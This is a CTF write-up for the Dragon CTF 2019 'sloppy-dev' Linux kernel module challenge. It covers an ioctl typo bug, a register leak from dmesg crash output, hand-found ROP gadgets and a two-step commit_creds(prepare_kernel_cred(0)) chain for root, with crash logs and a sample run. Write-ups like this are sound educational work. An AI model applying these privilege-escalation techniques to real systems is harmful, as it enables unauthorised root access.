sloppy-dev writeup
- Event: Dragon CTF 2019
- Category: pwn
- Solves: 6
- Points: 300
Overview
$ ./run.sh
PWN PWN PWN
/ $
The challenge files consist of:
-
vmlinuz-5.3.0-19-generic
- linux kernel -
initramfs.cpio.gz
- a filesystem packed into archive. -
pow.py
andhashcash.py
-
run.sh
- qemu command to run the machine. -
sloppy.c
- source code of the module.
/init
in the filesystem is a file which will run as the first process before giving us access to the console:
#!/bin/sh
stty raw -echo
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs tmpfs /tmp
insmod /sloppy.ko
echo "PWN PWN PWN"
setsid cttyhack setuidgid 1000 sh
poweroff -d 1 -n -f
I recalled that in a different kernel module pwning challenge a file run.sh
contained lines which are not here:
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
kptr_restrict blocks printing pointers by functions from printk
family.
dmesg_restrict blocks access to dmesg from user without CAP_SYS_ADMIN
.
I tested our machine and indeed we have an access to dmesg
command.
Later organizers told me that this was unintended.
When we crash a module, dmesg
prints all values in registers so that we can have a leak.
Also, the difference between pwning a module and usual program is that when crashing,
the module will remain loaded and we are still able to call “exported” functions by the module.
Debugging Linux Kernel
I did some small changes in the archive to make debugging easier.
To modify cpio archive you need to unpack it first using following commands:
mkdir new_directory
cd new_directory
zcat /home/a/Desktop/sloppy-dev/initramfs.cpio.gz | cpio -idmv
And this command packs the archive back:
find . -print0 | cpio --null -ov --format=newc | gzip -9 > /home/a/Desktop/sloppy-dev/initramfs.cpio.gz
I modified /init
file to make our user to be a root (setuidgid 1000
-> setuidgid 0
) and I mounted /proc
(added mount -t proc none /proc
) in order to have an access to /proc/kallsyms
.
This file is useful in obtaining addresses of functions placed in kernel space (kernel, modules).
gdb doesn’t have them unless we loaded a file with debugging symbols which we don’t have.
eg:
/ # cat /proc/kallsyms | grep sloppy_ioctl
ffffffffc003f0b0 t sloppy_ioctl [sloppy]
This time the base address of our module is ffffffffc003f000
To attach gdb to qemu you need to modify run.sh
by adding a line -s -S \
.
The machine won’t start until gdb will be attached - (gdb) target remote localhost:1234
in a different terminal.
Vulnerability
For understanding the source code of the module these links can help: 1, 2.
And btw. when looking at linux kernel sources or to look for some structures that are used by the module you want to use lxr which has a good code search engine.
For example you can search for struct file_operations
Source code is provided so I was looking only at this file without loading a module to IDA. This wasn’t a good idea because from the source code it was very hard to spot the vulnerability.
In this module we have 1 ioctl
function: static long sloppy_ioctl (struct file * file, unsigned int cmd, unsigned long arg)
.
We can call this function by writing a program with the following code:
struct file * file
argument is not relevant for us.
Depending on what number cmd
is we can do 3 operations:
-
sloppy_insert
- insert a new (key, value) pair into to the sorted list. -
sloppy_get_first
- get the first element from this list. -
sloppy_delete
- delete the element with the provided key.
But the vulnerability is here:
You see the typo?
It’s defualt
instead of default
and the code still compiles because defualt
is a label.
We can make a handler
to be NULL
by proving cmd
which is not equal to any of these values.
Further code after switch
statement is:
copy_from_user and copy_to_user are functions to copy data between user and kernel space.
IOC_OUT
and IOC_IN
are just constants:
_IOS_SIZE(cmd)
means ((unsigned int)cmd >> 16) & 0x3FFF
So we can choose between in
and out
operations and we can specify the size how much data to copy.
With operation IOC_OUT
and SIZE = 0x110
the handler
is overwritten by last 8 bytes.
So to overwrite the handler
we need to provide following cmd
:
Exploitation
Ok. Let’s crash the module first.
I used cmd=0xbfff0000
I don’t remember now why.
I compiled this file and put in initramfs.
Then:
/ # /leak
[ 22.077088] usercopy: Kernel memory overwrite attempt detected to process stack (offset 0, size 16383)!
[ 22.080492] kernel BUG at mm/usercopy.c:98!
[ 22.080994] invalid opcode: 0000 [#1] SMP PTI
[ 22.081672] CPU: 0 PID: 175 Comm: leak Tainted: P OE 5.3.0-19-generic #20-Ubuntu
[ 22.082819] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014
[ 22.083724] RIP: 0010:usercopy_abort+0x7b/0x7d
[ 22.084289] Code: 4c 0f 45 de 51 4c 89 d1 48 c7 c2 55 dc f5 b0 57 48 c7 c6 05 ae f4 b0 48 c7 c7 20 dd f5 b0 48 0f 45 f2 4c 89 da e8 28 6b e4 ff <0f> 0b 4c5
[ 22.086449] RSP: 0018:ffffb42d801afcc0 EFLAGS: 00010246
[ 22.087069] RAX: 000000000000005b RBX: 0000000000003fff RCX: 00000000000001b2
[ 22.087852] RDX: 0000000000000000 RSI: 0000000000000086 RDI: 0000000000000246
[ 22.088620] RBP: ffffb42d801afcd8 R08: 00000000000001b2 R09: ffffffffb1789c24
[ 22.089385] R10: ffffffffb1781b88 R11: ffffb42d801afb40 R12: ffffb42d801afd18
[ 22.090159] R13: 0000000000000000 R14: ffffb42d801b3d17 R15: ffff995143586000
[ 22.090925] FS: 00007f781a4e0500(0000) GS:ffff995147400000(0000) knlGS:0000000000000000
[ 22.091802] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 22.092433] CR2: 00007f781a405670 CR3: 00000000035aa000 CR4: 00000000000006f0
[ 22.093263] Call Trace:
[ 22.093559] __check_object_size.cold+0x30/0x83
[ 22.094107] sloppy_ioctl+0x132/0x160 [sloppy]
[ 22.094644] ? do_fault+0x1bf/0x640
[ 22.095069] ? __handle_mm_fault+0x4c5/0x7a0
[ 22.095578] do_vfs_ioctl+0x407/0x670
[ 22.095986] ? do_user_addr_fault+0x216/0x450
[ 22.096489] ksys_ioctl+0x67/0x90
[ 22.096896] __x64_sys_ioctl+0x1a/0x20
[ 22.097360] do_syscall_64+0x5a/0x130
[ 22.097781] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 22.098420] RIP: 0033:0x7f781a40567b
[ 22.098841] Code: 0f 1e fa 48 8b 05 15 28 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa b8 10 00 00 00 0f 05 <48> 3d 018
[ 22.100845] RSP: 002b:00007ffd403cf858 EFLAGS: 00000202 ORIG_RAX: 0000000000000010
[ 22.101680] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f781a40567b
[ 22.102503] RDX: 0000000000000000 RSI: 00000000bfff0000 RDI: 0000000000000003
[ 22.103291] RBP: 00007ffd403cf870 R08: 0000000000000000 R09: 00007f781a4f21f0
[ 22.104075] R10: fffffffffffff44a R11: 0000000000000202 R12: 000055d62e278080
[ 22.104845] R13: 00007ffd403cf950 R14: 0000000000000000 R15: 0000000000000000
[ 22.105617] Modules linked in: sloppy(POE)
[ 22.106158] ---[ end trace 762e31560de69a46 ]---
[ 22.106725] RIP: 0010:usercopy_abort+0x7b/0x7d
[ 22.107227] Code: 4c 0f 45 de 51 4c 89 d1 48 c7 c2 55 dc f5 b0 57 48 c7 c6 05 ae f4 b0 48 c7 c7 20 dd f5 b0 48 0f 45 f2 4c 89 da e8 28 6b e4 ff <0f> 0b 4c5
[ 22.109358] RSP: 0018:ffffb42d801afcc0 EFLAGS: 00010246
[ 22.109981] RAX: 000000000000005b RBX: 0000000000003fff RCX: 00000000000001b2
[ 22.110836] RDX: 0000000000000000 RSI: 0000000000000086 RDI: 0000000000000246
[ 22.111673] RBP: ffffb42d801afcd8 R08: 00000000000001b2 R09: ffffffffb1789c24
[ 22.112492] R10: ffffffffb1781b88 R11: ffffb42d801afb40 R12: ffffb42d801afd18
[ 22.113361] R13: 0000000000000000 R14: ffffb42d801b3d17 R15: ffff995143586000
[ 22.114160] FS: 00007f781a4e0500(0000) GS:ffff995147400000(0000) knlGS:0000000000000000
[ 22.115007] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 22.115610] CR2: 00007f781a405670 CR3: 00000000035aa000 CR4: 00000000000006f0
Segmentation fault
Topmost or most down registers are currect registers when module code crashed:
-
R10
contains address of code of linux kernel. I discovered it by reading/proc/kallsyms
- there were functions with addresses very close to this one. -
RSP
The good thing is that during everyioctl
call the stack will have the same address. So we can use it for nextioctl
call. -
R09
We will need this value later. It can be a heap, but not necessarily.
Btw. KASLR, SMEP and SMAP are enabled.
The strange thing is that CR4 shows that SMEP
and SMAP
are disabled but I couldn’t jump into executable code in user space.
I don’t know why, this is strange, maybe it’s some qemu internal thing?
If you know why I would be gratefull to know.
When calling overwritten handler RSP
points to the beginning of data
buffer.
First 8 bytes are destroyed though because of the previous call
but this is not very relevant.
extract-vmlinux didn’t work but I found manually 2 very simple gadgets in gdb:
pop_registers:
pop %r11
pop %r10
pop %r9
pop %r8
pop %rdi
pop %rsi
pop %rdx
pop %rcx
pop %rbp
retq
set_rsp:
lea -0x28(%rbp),%rsp
pop %rbx
pop %r12
pop %r13
pop %r14
pop %r15
pop %rbp
retq
The other way would be to dump a memory via qemu and look for gadgets normally with ropper
there.
The standard way of exploting linux kernel is to execute commit_creds(prepare_kernel_cred(0));
.
If this code is executed in kernel space, a current process gets root privileges.
Since my gadgets are very simple my exploit does prepare_kernel_cred
in the first ioctl
call and commit_creds
in the second one (I don’t have mov rdi, rax
gadget).
I took the addresses of both functions from /proc/kallsyms
.
In first ioctl
I jumped to pop_registers
, set RDI
to 0 and set RBP
to value that goes to RSP
later.
Then I jumped to prepare_kernel_cred
.
Later I used set_rsp
to set RSP
during last ret
to the same value when function sloppy_ioctl
returns normally.
This makes us returning correctly to the user mode.
It’s
If you want to track ROP chain just put a breakpoint at 000000000000013D: call __x86_indirect_thunk_rcx
.
res
contains an address of the structure returned by prepare_kernel_cred
but… it’s only 4 bytes.
It’s not full 8B address.
I discovered that the full address can be constructed by using 4 bytes from leaked R09
.
The second gadget chain is very similiar to the first one. It is the same but sets RDI
to res
and commit_creds
is called instead of prepare_kernel_cred
.
Here is the full source code of the exploit:
Let’s run our exploit.
The command line is: ./exploit R10, R15, R09
.
/ # /exploit ffffffffb1781b88 ffffb42d801afcc0 ffff995143586000
creds: 0xffff99514730f0c0
uid=0 gid=0
THE_FLAG_WILL_BE_HERE
Btw. Previously I tried the same ROP chains but prepare_kernel_cred
and commit_creds
were called by 2 different processes, but no, it didn’t work.
The last part
When testing locally I was putting files leak
and exploit
to initramfs but on remote machine we needed to upload them to the server somehow.
I just encoded both files in base64 and split them into 500-byte parts and did r.sendline("echo -n "+d+" >> "+name)
for each part.
Full exploit that connects to the server is here.
I didn’t spend any time to make this code to look better but this part of the challenge is not very interesting and I hope that nobody will be taking a look at this file.
Intended solution
As I said previously, a leak via dmesg
was unintended.
The another vulnerability was here: memset(arg, 0, sizeof sloppy_get_first);
We have 2 sloppy_get_first
:
- a function
long sloppy_get_first (struct file * file, void * arg_)
- a
struct sloppy_get_first
Inside sizeof
there is no struct
keyword so it takes size from a function and the result is 1
LOL.
With this vulnerability it was possible to leak some pointers because the data was not fully zeroed.